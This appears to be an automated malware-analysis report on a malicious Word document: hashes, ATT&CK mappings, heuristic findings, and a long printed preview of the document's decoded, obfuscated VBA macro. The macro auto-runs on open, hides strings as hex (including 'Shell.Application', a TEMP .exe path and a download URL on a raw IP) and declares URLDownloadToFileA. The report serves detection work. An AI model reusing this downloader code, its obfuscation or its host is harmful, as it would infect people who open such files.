Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 60f177a568bcfe84…

MALICIOUS

Office (OLE)

87.0 KB Created: 2014-11-24 10:18:00 Authoring application: Microsoft Office Word First seen: 2015-01-15
MD5: 55d6c57bdad8a1e4210c1ff89cd88f78 SHA-1: 2cbbb5a90dc2d55c77e40f399875479c15df8210 SHA-256: 60f177a568bcfe84f7480c6328c5be80b3f8414c244f9517072f77ae530062b1
326 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols

The sample is a malicious Office document containing obfuscated VBA macros. The macros utilize the URLDownloadToFileA API to download a second-stage payload from a remote source, indicated by the critical heuristic firings for OLE_VBA_DOWNLOAD and OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER. The AutoOpen macro is triggered upon opening the document, initiating the download process.

Heuristics 11

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set nvVhjkkj = CreateObject(v67fYKdf("5368656C6C2E4170706C69636174696F6E"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set nvVhjkkj = CreateObject(v67fYKdf("5368656C6C2E4170706C69636174696F6E"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        mBHJBkd = Environ(v67fYKdf("54454D50")) & v67fYKdf("5C3156324D555932585759534658512E657865")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29612 bytes
SHA-256: 11ee6c1a25ceee5c99139668ad5bd6228524e72681d081a4c2bf1b5c4065ac89
Detection
ClamAV: No threats found
Obfuscation or payload: likely
390 of 600 identifiers look randomly generated (e.g. 'dPTthfZroKhFL') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Win64 Then
    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
ByVal UUQCES As String, ByVal VKDDKH As String, ByVal XXRYIY As Long, _
ByVal RPBFSI As Long) As Long
#Else
    Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
ByVal UUQCES As String, ByVal VKDDKH As String, ByVal XXRYIY As Long, _
ByVal RPBFSI As Long) As Long
#End If

Public Function v67fYKdf(ByVal jYsjaoyh As String) As String
For SVlGHRbVzOiB = 1 To Len(jYsjaoyh) Step 2
TFhDPe = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(jYsjaoyh, SVlGHRbVzOiB, 2)))
dPTthfZroKhFL = dPTthfZroKhFL & TFhDPe
Next SVlGHRbVzOiB
v67fYKdf = dPTthfZroKhFL
End Function

Sub nvfvyIHKJdd()
Dim lzHIsdqR, BCvevIex, RKycQeMf As String
Dim RAoYjTmX, bZlKPOKC, mEEttFhB As String
Dim YhELWnqv, ZjDtgRIb, cjVjOOyn As String
YhELWnqv = v67fYKdf("202020202020202020202043584A414755202020202020202020202020202020")
ZjDtgRIb = LTrim(YhELWnqv)
cjVjOOyn = RTrim(ZjDtgRIb)

RAoYjTmX = v67fYKdf("2020202020202020202020575A55574E4F202020202020202020202020202020")
Dim bAmqdPFS, rxeTbtTR, OlPNDncw As String
bAmqdPFS = v67fYKdf("20202020202020202020204D4D58434451202020202020202020202020202020")
rxeTbtTR = LTrim(bAmqdPFS)
OlPNDncw = RTrim(rxeTbtTR)

bZlKPOKC = LTrim(RAoYjTmX)
Dim pQJdBhlt, SCyyOSeb, aDsPFvgi As String
pQJdBhlt = v67fYKdf("20202020202020202020205A534E5A4251202020202020202020202020202020")
SCyyOSeb = LTrim(pQJdBhlt)
aDsPFvgi = RTrim(SCyyOSeb)

mEEttFhB = RTrim(bZlKPOKC)

Dim MGKFwpzv, KnwAlsIC, tYiRXBQi As String
MGKFwpzv = v67fYKdf("2020202020202020202020575950524255202020202020202020202020202020")
KnwAlsIC = LTrim(MGKFwpzv)
tYiRXBQi = RTrim(KnwAlsIC)

lzHIsdqR = v67fYKdf("20202020202020202020204B55554F5342202020202020202020202020202020")
Dim blHFYGlF, lOYbxXIk, VRgMPkbp As String
Dim ZgNCrqMb, chpovhkA, ljlmKlGZ As String
ZgNCrqMb = v67fYKdf("20202020202020202020204D575A454C42202020202020202020202020202020")
chpovhkA = LTrim(ZgNCrqMb)
ljlmKlGZ = RTrim(chpovhkA)

blHFYGlF = v67fYKdf("2020202020202020202020414E51575159202020202020202020202020202020")
Dim PQCHpzJJ, ZzDANoym, iCwXdEVs As String
PQCHpzJJ = v67fYKdf("2020202020202020202020554F47584E53202020202020202020202020202020")
ZzDANoym = LTrim(PQCHpzJJ)
iCwXdEVs = RTrim(ZzDANoym)

lOYbxXIk = LTrim(blHFYGlF)
Dim tVQggnWA, lFHLmsup, IRXxnClK As String
tVQggnWA = v67fYKdf("20202020202020202020204B494B574B43202020202020202020202020202020")
lFHLmsup = LTrim(tVQggnWA)
IRXxnClK = RTrim(lFHLmsup)

VRgMPkbp = RTrim(lOYbxXIk)

Dim UzqXLFBN, LoCBmZeq, JLnQlRIO As String
UzqXLFBN = v67fYKdf("202020202020202020202047444D555058202020202020202020202020202020")
LoCBmZeq = LTrim(UzqXLFBN)
JLnQlRIO = RTrim(LoCBmZeq)

BCvevIex = LTrim(lzHIsdqR)
Dim ARotwZZf, HlfInfFX, rpldYNNR As String
Dim EDmKEEGh, bFRrVIdj, mFFhlSPl As String
EDmKEEGh = v67fYKdf("202020202020202020202057495341594F202020202020202020202020202020")
bFRrVIdj = LTrim(EDmKEEGh)
mFFhlSPl = RTrim(bFRrVIdj)

ARotwZZf = v67fYKdf("2020202020202020202020455652485742202020202020202020202020202020")
Dim kbXlmpwl, CmRFUTds, HQmbvSZG As String
kbXlmpwl = v67fYKdf("202020202020202020202043454650594A202020202020202020202020202020")
CmRFUTds = LTrim(kbXlmpwl)
HQmbvSZG = RTrim(CmRFUTds)

HlfInfFX = LTrim(ARotwZZf)
Dim dxaSdqRS, AduhlXHm, rcwpzlvF As String
dxaSdqRS = v67fYKdf("2020202020202020202020584D41554A47202020202020202020202020202020")
AduhlXHm = LTrim(dxaSdqRS)
rcwpzlvF = RTrim(AduhlXHm)

rpldYNNR = RTrim(HlfInfFX)

Dim SnBUtkrX, VYQPYyuu, CkgcRiDT As String
SnBUtkrX = v67fYKdf("20202020202020202020204A42444E4851202020202020202020202020202020")
VYQPYyuu = LTrim(SnBUtkrX)
CkgcRiDT = RTrim(VYQPYyuu)

RKycQeMf = RTrim(BCvevIex)

Dim zHWHoLPK, gXULPUFe, dUqYIOlZ As String
Dim YEIcBitF, AEKOldZG, xReWDjNH As String
YEIcBitF = v67fYKdf("202020202020202020202058454C4A4A56202020202020202020202020202020")
AEKOldZG = LTrim(YEIcBitF)
xReWDjNH = RTrim(AEKOldZG)

zHWHoLPK = v67fYKdf("2020202020202020202020425953544B56202020202020202020202020202020")
Dim HPMqduDv, wTZYbARh, aApaSCxi As String
HPMqduDv = v67fYKdf("202020202020202020202045564F564458202020202020202020202020202020")
wTZYbARh = LTrim(HPMqduDv)
aApaSCxi = RTrim(wTZYbARh)

gXULPUFe = LTrim(zHWHoLPK)
Dim PDcSeNta, BEZhoQjO, AGJpKoBr As String
PDcSeNta = v67fYKdf("2020202020202020202020495A51555350202020202020202020202020202020")
BEZhoQjO = LTrim(PDcSeNta)
AGJpKoBr = RTrim(BEZhoQjO)

dUqYIOlZ = RTrim(gXULPUFe)

Dim tNkbswKa, jyrZFpXs, ZsHThCBx As String
tNkbswKa = v67fYKdf("20202020202020202020204E5143584D44202020202020202020202020202020")
jyrZFpXs = LTrim(tNkbswKa)
ZsHThCBx = RTrim(jyrZFpXs)

rRRfyhjk
End Sub
Sub AutoOpen()
Dim HJtjSRmM, tYpMKhYZ, UKvFADgX As String
Dim HhezAiPS, QhdfXsiD, UjxbjjTF As String
Dim jzWfbjVY, detbMmwU, iegQgbLI As String
jzWfbjVY = v67fYKdf("202020202020202020202047474E53545A202020202020202020202020202020")
detbMmwU = LTrim(jzWfbjVY)
iegQgbLI = RTrim(detbMmwU)

HhezAiPS = v67fYKdf("2020202020202020202020415845595443202020202020202020202020202020")
Dim blqQHOJE, tgLyerIw, Ppnnhbbf As String
blqQHOJE = v67fYKdf("202020202020202020202057484A514150202020202020202020202020202020")
tgLyerIw = LTrim(blqQHOJE)
Ppnnhbbf = RTrim(tgLyerIw)

QhdfXsiD = LTrim(HhezAiPS)
Dim eliUFNuo, kodqLQlJ, MlAtZozs As String
eliUFNuo = v67fYKdf("20202020202020202020204A4B52525250202020202020202020202020202020")
kodqLQlJ = LTrim(eliUFNuo)
MlAtZozs = RTrim(kodqLQlJ)

UjxbjjTF = RTrim(QhdfXsiD)

Dim OsdRtVhB, UCHjeNWc, LeZlTFVI As String
OsdRtVhB = v67fYKdf("2020202020202020202020484A4D564841202020202020202020202020202020")
UCHjeNWc = LTrim(OsdRtVhB)
LeZlTFVI = RTrim(UCHjeNWc)

HJtjSRmM = v67fYKdf("202020202020202020202051525A584542202020202020202020202020202020")
Dim AjgDBjvK, ydXisShO, BZDLzLTd As String
Dim MhJGlRGI, GjazFOdP, QjsfoDPQ As String
MhJGlRGI = v67fYKdf("20202020202020202020204558564E5A4F202020202020202020202020202020")
GjazFOdP = LTrim(MhJGlRGI)
QjsfoDPQ = RTrim(GjazFOdP)

AjgDBjvK = v67fYKdf("20202020202020202020205A42434D574D202020202020202020202020202020")
Dim DuKAFiKS, YcOdTguh, qljUKOBu As String
DuKAFiKS = v67fYKdf("2020202020202020202020494D53464847202020202020202020202020202020")
YcOdTguh = LTrim(DuKAFiKS)
qljUKOBu = RTrim(YcOdTguh)

ydXisShO = LTrim(AjgDBjvK)
Dim lHiVhwjG, WzxKBLNo, pKZwtRsJ As String
lHiVhwjG = v67fYKdf("2020202020202020202020594749575546202020202020202020202020202020")
WzxKBLNo = LTrim(lHiVhwjG)
pKZwtRsJ = RTrim(WzxKBLNo)

BZDLzLTd = RTrim(ydXisShO)

Dim hbZCQxhu, fpyOOvWT, bhKSsdBH As String
hbZCQxhu = v67fYKdf("202020202020202020202059565A495544202020202020202020202020202020")
fpyOOvWT = LTrim(hbZCQxhu)
bhKSsdBH = RTrim(fpyOOvWT)

tYpMKhYZ = LTrim(HJtjSRmM)
Dim MZRgeAlz, xFKoSBzw, PRVSKPfr As String
Dim MnawUeyr, HnqUziEt, QAmLxsay As String
MnawUeyr = v67fYKdf("202020202020202020202052415A474F57202020202020202020202020202020")
HnqUziEt = LTrim(MnawUeyr)
QAmLxsay = RTrim(HnqUziEt)

MZRgeAlz = v67fYKdf("2020202020202020202020444347575356202020202020202020202020202020")
Dim VlXlbPvc, EgRFDyhh, oqsoNnii As String
VlXlbPvc = v67fYKdf("2020202020202020202020464146504952202020202020202020202020202020")
EgRFDyhh = LTrim(VlXlbPvc)
oqsoNnii = RTrim(EgRFDyhh)

xFKoSBzw = LTrim(MZRgeAlz)
Dim XVYsCDzC, qFSGzbfT, DNaOQXCB As String
XVYsCDzC = v67fYKdf("20202020202020202020204649484C4F52202020202020202020202020202020")
qFSGzbfT = LTrim(XVYsCDzC)
DNaOQXCB = RTrim(qFSGzbfT)

PRVSKPfr = RTrim(xFKoSBzw)

Dim HSryvMjv, zKHoaIlO, NZlWBPNi As String
HSryvMjv = v67fYKdf("20202020202020202020204C5248534E42202020202020202020202020202020")
zKHoaIlO = LTrim(HSryvMjv)
NZlWBPNi = RTrim(zKHoaIlO)

UKvFADgX = RTrim(tYpMKhYZ)

Dim NiGelqnw, sfAyMBRY, vlfoxSUJ As String
Dim IiJfDhpH, EiabimUJ, voqQAvtK As String
IiJfDhpH = v67fYKdf("2020202020202020202020434B4351515A202020202020202020202020202020")
EiabimUJ = LTrim(IiJfDhpH)
voqQAvtK = RTrim(EiabimUJ)

NiGelqnw = v67fYKdf("202020202020202020202056474F514355202020202020202020202020202020")
Dim XWSfhqUm, nHmIETbd, ySzrHajr As String
XWSfhqUm = v67fYKdf("2020202020202020202020545254424756202020202020202020202020202020")
nHmIETbd = LTrim(XWSfhqUm)
ySzrHajr = RTrim(nHmIETbd)

sfAyMBRY = LTrim(NiGelqnw)
Dim PqPofMXV, BaGSlTiY, AdrYzeJN As String
PqPofMXV = v67fYKdf("202020202020202020202049464B4B4A55202020202020202020202020202020")
BaGSlTiY = LTrim(PqPofMXV)
AdrYzeJN = RTrim(BaGSlTiY)

vlfoxSUJ = RTrim(sfAyMBRY)

Dim mmggNImA, YnakZxvQ, KYDmrpAX As String
mmggNImA = v67fYKdf("20202020202020202020204958574A464C202020202020202020202020202020")
YnakZxvQ = LTrim(mmggNImA)
KYDmrpAX = RTrim(YnakZxvQ)

    nvfvyIHKJdd
End Sub
Sub Workbook_Open()
Dim yREXSZvr, lPhBgjZg, RHzzHrTb As String
Dim nOKqDQDJ, xPzxiGqK, kQdIZMIL As String
Dim vevEvTwj, lrIHLOLk, htLzfFjl As String
vevEvTwj = v67fYKdf("20202020202020202020204B48464D524F202020202020202020202020202020")
lrIHLOLk = LTrim(vevEvTwj)
htLzfFjl = RTrim(lrIHLOLk)

nOKqDQDJ = v67fYKdf("20202020202020202020204D5956505153202020202020202020202020202020")
Dim mKkPGWYJ, BDBtzhcO, ROUnhPgn As String
mKkPGWYJ = v67fYKdf("20202020202020202020204B5A57504148202020202020202020202020202020")
BDBtzhcO = LTrim(mKkPGWYJ)
ROUnhPgn = RTrim(BDBtzhcO)

xPzxiGqK = LTrim(nOKqDQDJ)
Dim zbxPGkVi, jhZgMepH, LnJiEnLp As String
zbxPGkVi = v67fYKdf("20202020202020202020204A575159544C202020202020202020202020202020")
jhZgMepH = LTrim(zbxPGkVi)
LnJiEnLp = RTrim(jhZgMepH)

kQdIZMIL = RTrim(xPzxiGqK)

Dim YNaVHsdL, LyDalNhr, tsbrMDlg As String
YNaVHsdL = v67fYKdf("202020202020202020202057584C485641202020202020202020202020202020")
LyDalNhr = LTrim(YNaVHsdL)
tsbrMDlg = RTrim(LyDalNhr)

yREXSZvr = v67fYKdf("2020202020202020202020414145555548202020202020202020202020202020")
Dim tAwTylwg, PxrNlFdu, gkQmYotV As String
Dim QPMMlHnf, UQruFWVh, ZQfloBwj As String
QPMMlHnf = v67fYKdf("2020202020202020202020594C4B455955202020202020202020202020202020")
UQruFWVh = LTrim(QPMMlHnf)
ZQfloBwj = RTrim(UQruFWVh)

tAwTylwg = v67fYKdf("20202020202020202020204A5241485657202020202020202020202020202020")
Dim kTDKYtbl, CnwdMbks, GJsVPYYG As String
kTDKYtbl = v67fYKdf("2020202020202020202020435950585346202020202020202020202020202020")
CnwdMbks = LTrim(kTDKYtbl)
GJsVPYYG = RTrim(CnwdMbks)

PxrNlFdu = LTrim(tAwTylwg)
Dim vePTnxxz, afBbpMyx, hrtegTkt As String
vePTnxxz = v67fYKdf("20202020202020202020204F5743535346202020202020202020202020202020")
afBbpMyx = LTrim(vePTnxxz)
hrtegTkt = RTrim(afBbpMyx)

gkQmYotV = RTrim(PxrNlFdu)

Dim XjXsUwif, MabVTcDD, uusaisJV As String
XjXsUwif = v67fYKdf("2020202020202020202020584D53475444202020202020202020202020202020")
MabVTcDD = LTrim(XjXsUwif)
uusaisJV = RTrim(MabVTcDD)

lPhBgjZg = LTrim(yREXSZvr)
Dim ErHHhSwx, KLWlwcUt, mtpftWhv As String
Dim CHSdzusG, KJXvxqOJ, FJyQJhyK As String
CHSdzusG = v67fYKdf("2020202020202020202020544F57514C43202020202020202020202020202020")
KJXvxqOJ = LTrim(CHSdzusG)
FJyQJhyK = RTrim(KJXvxqOJ)

ErHHhSwx = v67fYKdf("20202020202020202020205450574F4B45202020202020202020202020202020")
Dim XXyxboGl, AJDJSEYs, ySwsBVve As String
XXyxboGl = v67fYKdf("2020202020202020202020595247454C43202020202020202020202020202020")
AJDJSEYs = LTrim(XXyxboGl)
ySwsBVve = RTrim(AJDJSEYs)

KLWlwcUt = LTrim(ErHHhSwx)
Dim UXxQUatq, XSZgDSjK, vVJoxpNd As String
UXxQUatq = v67fYKdf("2020202020202020202020555551594151202020202020202020202020202020")
XSZgDSjK = LTrim(UXxQUatq)
vVJoxpNd = RTrim(XSZgDSjK)

mtpftWhv = RTrim(KLWlwcUt)

Dim TIdYGjCM, JFBPjrat, GbZxgyYR As String
TIdYGjCM = v67fYKdf("202020202020202020202046454D4E4950202020202020202020202020202020")
JFBPjrat = LTrim(TIdYGjCM)
GbZxgyYR = RTrim(JFBPjrat)

RHzzHrTb = RTrim(lPhBgjZg)

Dim DgSYJZZT, BmvOljTH, qnqSWtOa As String
Dim sllagppB, ulZfOfUN, emSbrlta As String
sllagppB = v67fYKdf("2020202020202020202020535651594256202020202020202020202020202020")
ulZfOfUN = LTrim(sllagppB)
emSbrlta = RTrim(ulZfOfUN)

DgSYJZZT = v67fYKdf("202020202020202020202042455349424F202020202020202020202020202020")
Dim yZylcZfb, QcDDPVyk, jlwiClCo As String
yZylcZfb = v67fYKdf("2020202020202020202020514D465A4B55202020202020202020202020202020")
QcDDPVyk = LTrim(yZylcZfb)
jlwiClCo = RTrim(QcDDPVyk)

BmvOljTH = LTrim(DgSYJZZT)
Dim nvHeDLEl, GgXYLRGa, knqnZzvm As String
nvHeDLEl = v67fYKdf("2020202020202020202020455757475255202020202020202020202020202020")
GgXYLRGa = LTrim(nvHeDLEl)
knqnZzvm = RTrim(GgXYLRGa)

qnqSWtOa = RTrim(BmvOljTH)

Dim SiPaKXon, VfxrmPsQ, XBNJlSJp As String
SiPaKXon = v67fYKdf("20202020202020202020204A475950504E202020202020202020202020202020")
VfxrmPsQ = LTrim(SiPaKXon)
XBNJlSJp = RTrim(VfxrmPsQ)

    nvfvyIHKJdd
End Sub
Sub rRRfyhjk()
Dim SpdHphXr, IqxzEllt, EsYfVvJy As String
Dim vaShUBYP, lzCAzrrQ, geuFxiAS As String
Dim cylKGipS, lyZrpdUD, guDhRjtF As String
cylKGipS = v67fYKdf("20202020202020202020204B4A51415356202020202020202020202020202020")
lyZrpdUD = LTrim(cylKGipS)
guDhRjtF = RTrim(lyZrpdUD)

vaShUBYP = v67fYKdf("20202020202020202020204B475744494C202020202020202020202020202020")
Dim iLhPuNBU, apumCugq, YtFHqZyz As String
iLhPuNBU = v67fYKdf("20202020202020202020204C44564B4253202020202020202020202020202020")
apumCugq = LTrim(iLhPuNBU)
YtFHqZyz = RTrim(apumCugq)

lzCAzrrQ = LTrim(vaShUBYP)
Dim jsYaqMKX, TzQTjTeR, idNbNeSB As String
jsYaqMKX = v67fYKdf("2020202020202020202020564748464855202020202020202020202020202020")
TzQTjTeR = LTrim(jsYaqMKX)
idNbNeSB = RTrim(TzQTjTeR)

geuFxiAS = RTrim(lzCAzrrQ)

Dim OEoCRUGX, WOWNumKu, uHUeIoXj As String
OEoCRUGX = v67fYKdf("2020202020202020202020435143484B51202020202020202020202020202020")
WOWNumKu = LTrim(OEoCRUGX)
uHUeIoXj = RTrim(WOWNumKu)

SpdHphXr = v67fYKdf("20202020202020202020204E4C494E5841202020202020202020202020202020")
Dim kexdDgIq, CBrUaObe, ZMSzfrjM As String
Dim axGMdTWK, CxByUPlL, KcokzFHM As String
axGMdTWK = v67fYKdf("20202020202020202020205542435A564F202020202020202020202020202020")
CxByUPlL = LTrim(axGMdTWK)
KcokzFHM = RTrim(CxByUPlL)

kexdDgIq = v67fYKdf("20202020202020202020204A4943564E4E202020202020202020202020202020")
Dim lHuDGCHS, BQGiekIE, RYxZhDbw As String
lHuDGCHS = v67fYKdf("202020202020202020202042534D4D4850202020202020202020202020202020")
BQGiekIE = LTrim(lHuDGCHS)
RYxZhDbw = RTrim(BQGiekIE)

CBrUaObe = LTrim(kexdDgIq)
Dim zMUlxXrQ, RyXdylDt, LXaJstBD As String
zMUlxXrQ = v67fYKdf("2020202020202020202020564857595141202020202020202020202020202020")
RyXdylDt = LTrim(zMUlxXrQ)
LXaJstBD = RTrim(RyXdylDt)

ZMSzfrjM = RTrim(CBrUaObe)

Dim eqmxuAtE, zWVptEQe, faPdYjFd As String
eqmxuAtE = v67fYKdf("20202020202020202020204E4A56574A48202020202020202020202020202020")
zWVptEQe = LTrim(eqmxuAtE)
faPdYjFd = RTrim(zWVptEQe)

IqxzEllt = LTrim(SpdHphXr)
Dim lkEjVGPU, WZKqUdlz, plCFSVTP As String
Dim pxHqUVJP, tcNxzzgQ, DeakKmga As String
pxHqUVJP = v67fYKdf("202020202020202020202052474C5A4C4E202020202020202020202020202020")
tcNxzzgQ = LTrim(pxHqUVJP)
DeakKmga = RTrim(tcNxzzgQ)

lkEjVGPU = v67fYKdf("2020202020202020202020595A4C525656202020202020202020202020202020")
Dim BsSLdYus, EilfnzVe, oezODxHW As String
BsSLdYus = v67fYKdf("202020202020202020202055535447444F202020202020202020202020202020")
EilfnzVe = LTrim(BsSLdYus)
oezODxHW = RTrim(EilfnzVe)

WZKqUdlz = LTrim(lkEjVGPU)
Dim VTAipJxX, dwUSgZIR, GYXYVNkV As String
VTAipJxX = v67fYKdf("20202020202020202020204756464B4759202020202020202020202020202020")
dwUSgZIR = LTrim(VTAipJxX)
GYXYVNkV = RTrim(dwUSgZIR)

plCFSVTP = RTrim(WZKqUdlz)

Dim wrcQvwds, lGNvxcKP, TWSAVsXW As String
wrcQvwds = v67fYKdf("20202020202020202020204F44425A4E44202020202020202020202020202020")
lGNvxcKP = LTrim(wrcQvwds)
TWSAVsXW = RTrim(lGNvxcKP)

EsYfVvJy = RTrim(IqxzEllt)

Dim fEVozXBu, sgAXNVTY, cmfBZSIH As String
Dim jgNMlWry, shpyDBAu, ujlkirBi As String
jgNMlWry = v67fYKdf("202020202020202020202046585A5A414A202020202020202020202020202020")
shpyDBAu = LTrim(jgNMlWry)
ujlkirBi = RTrim(shpyDBAu)

fEVozXBu = v67fYKdf("2020202020202020202020544E4446474E202020202020202020202020202020")
Dim XCvAiJca, GfgdVVSR, loCUqlEx As String
XCvAiJca = v67fYKdf("202020202020202020202053475A464255202020202020202020202020202020")
GfgdVVSR = LTrim(XCvAiJca)
loCUqlEx = RTrim(GfgdVVSR)

sgAXNVTY = LTrim(fEVozXBu)
Dim TLDBJzFv, MOKZCFNu, ibVyzbsG As String
TLDBJzFv = v67fYKdf("202020202020202020202054544C445951202020202020202020202020202020")
MOKZCFNu = LTrim(TLDBJzFv)
ibVyzbsG = RTrim(MOKZCFNu)

cmfBZSIH = RTrim(sgAXNVTY)

Dim GorOEFPQ, agHStZDX, BBlveRlm As String
GorOEFPQ = v67fYKdf("20202020202020202020204C4848414558202020202020202020202020202020")
agHStZDX = LTrim(GorOEFPQ)
BBlveRlm = RTrim(agHStZDX)

    KHVnjbOd = v67fYKdf("687474703A2F2F3231332E3137342E3136322E3132363A383038302F6D616E732F706F70732E706870")
Dim sTqUhxBM, JnLzZJJQ, xxncGsIE As String
Dim XJsPwlQV, KJxXHvoN, DKYiqEYa As String
Dim lTjQeWwR, fTnCxNLT, pYPoJrjU As String
lTjQeWwR = v67fYKdf("2020202020202020202020475250434C4A202020202020202020202020202020")
fTnCxNLT = LTrim(lTjQeWwR)
pYPoJrjU = RTrim(fTnCxNLT)

XJsPwlQV = v67fYKdf("2020202020202020202020544F49434552202020202020202020202020202020")
Dim tlJuJJKt, PgvZrsPX, EThdMlBb As String
tlJuJJKt = v67fYKdf("20202020202020202020204A4E53524A55202020202020202020202020202020")
PgvZrsPX = LTrim(tlJuJJKt)
EThdMlBb = RTrim(PgvZrsPX)

KJxXHvoN = LTrim(XJsPwlQV)
Dim BUupISUn, fcdDFcLo, ZfkjMotJ As String
BUupISUn = v67fYKdf("20202020202020202020204742454B5A45202020202020202020202020202020")
fcdDFcLo = LTrim(BUupISUn)
ZfkjMotJ = RTrim(fcdDFcLo)

DKYiqEYa = RTrim(KJxXHvoN)

Dim PqtPJcSM, CjJDlqHt, oxEHWBLh As String
PqtPJcSM = v67fYKdf("2020202020202020202020484A48415046202020202020202020202020202020")
CjJDlqHt = LTrim(PqtPJcSM)
oxEHWBLh = RTrim(CjJDlqHt)

sTqUhxBM = v67fYKdf("202020202020202020202046584A4F4645202020202020202020202020202020")
Dim lIlMyCya, qVoTXrmR, HMJNovdx As String
Dim HQVhojlS, SQiAEmHD, USkFVbfF As String
HQVhojlS = v67fYKdf("202020202020202020202041554144585A202020202020202020202020202020")
SQiAEmHD = LTrim(HQVhojlS)
USkFVbfF = RTrim(SQiAEmHD)

lIlMyCya = v67fYKdf("2020202020202020202020564942435650202020202020202020202020202020")
Dim BsqEljRQ, RiKVTQxE, oenlKufw As String
BsqEljRQ = v67fYKdf("202020202020202020202055534A554841202020202020202020202020202020")
RiKVTQxE = LTrim(BsqEljRQ)
oenlKufw = RTrim(RiKVTQxE)

qVoTXrmR = LTrim(lIlMyCya)
Dim boKAZJST, FBVyUZVf, jqdNjNUU As String
boKAZJST = v67fYKdf("20202020202020202020204544585A5659202020202020202020202020202020")
FBVyUZVf = LTrim(boKAZJST)
jqdNjNUU = RTrim(FBVyUZVf)

HMJNovdx = RTrim(qVoTXrmR)

Dim bTtZunyZ, QQJTOgoD, VJEIqedV As String
bTtZunyZ = v67fYKdf("202020202020202020202051414A434A47202020202020202020202020202020")
QQJTOgoD = LTrim(bTtZunyZ)
VJEIqedV = RTrim(QQJTOgoD)

JnLzZJJQ = LTrim(sTqUhxBM)
Dim MxYRknco, odQoxdOJ, ceJSZVWb As String
Dim xilZOTTu, kiZFrPei, doSacFno As String
xilZOTTu = v67fYKdf("20202020202020202020204A4B514C4F4F202020202020202020202020202020")
kiZFrPei = LTrim(xilZOTTu)
doSacFno = RTrim(kiZFrPei)

MxYRknco = v67fYKdf("2020202020202020202020444D48454C56202020202020202020202020202020")
Dim WZbvGWZu, FLhpYzKP, lFVRLcOZ As String
WZbvGWZu = v67fYKdf("202020202020202020202053544544484F202020202020202020202020202020")
FLhpYzKP = LTrim(WZbvGWZu)
lFVRLcOZ = RTrim(FLhpYzKP)

odQoxdOJ = LTrim(MxYRknco)
Dim TLdvCZlW, irAlYNzg, wMYXQQfC As String
TLdvCZlW = v67fYKdf("202020202020202020202053485149434A202020202020202020202020202020")
irAlYNzg = LTrim(TLdvCZlW)
wMYXQQfC = RTrim(irAlYNzg)

ceJSZVWb = RTrim(odQoxdOJ)

Dim oZKidLvD, wIRqGUAV, UFjfjmRo As String
oZKidLvD = v67fYKdf("2020202020202020202020505046574F4B202020202020202020202020202020")
wIRqGUAV = LTrim(oZKidLvD)
UFjfjmRo = RTrim(wIRqGUAV)

xxncGsIE = RTrim(JnLzZJJQ)

Dim vfhwyGOU, PlzvUZDK, OtTsTRlj As String
Dim ejqwlqgp, VjmUDgSs, MkRLilpd As String
ejqwlqgp = v67fYKdf("2020202020202020202020495855484142202020202020202020202020202020")
VjmUDgSs = LTrim(ejqwlqgp)
MkRLilpd = RTrim(VjmUDgSs)

vfhwyGOU = v67fYKdf("2020202020202020202020504B584D4A58202020202020202020202020202020")
Dim jfBnYsGk, WpUWLYYp, FbcYOFXD As String
jfBnYsGk = v67fYKdf("202020202020202020202043564846514A202020202020202020202020202020")
WpUWLYYp = LTrim(jfBnYsGk)
FbcYOFXD = RTrim(WpUWLYYp)

PlzvUZDK = LTrim(vfhwyGOU)
Dim nNRIsYMU, rsLZWrZz, kzVyNGFP As String
nNRIsYMU = v67fYKdf("2020202020202020202020504D4C44544C202020202020202020202020202020")
rsLZWrZz = LTrim(nNRIsYMU)
kzVyNGFP = RTrim(rsLZWrZz)

OtTsTRlj = RTrim(PlzvUZDK)

Dim kdSelOpU, hChGjQHu, AezKKvLj As String
kdSelOpU = v67fYKdf("2020202020202020202020554B5551434C202020202020202020202020202020")
hChGjQHu = LTrim(kdSelOpU)
AezKKvLj = RTrim(hChGjQHu)

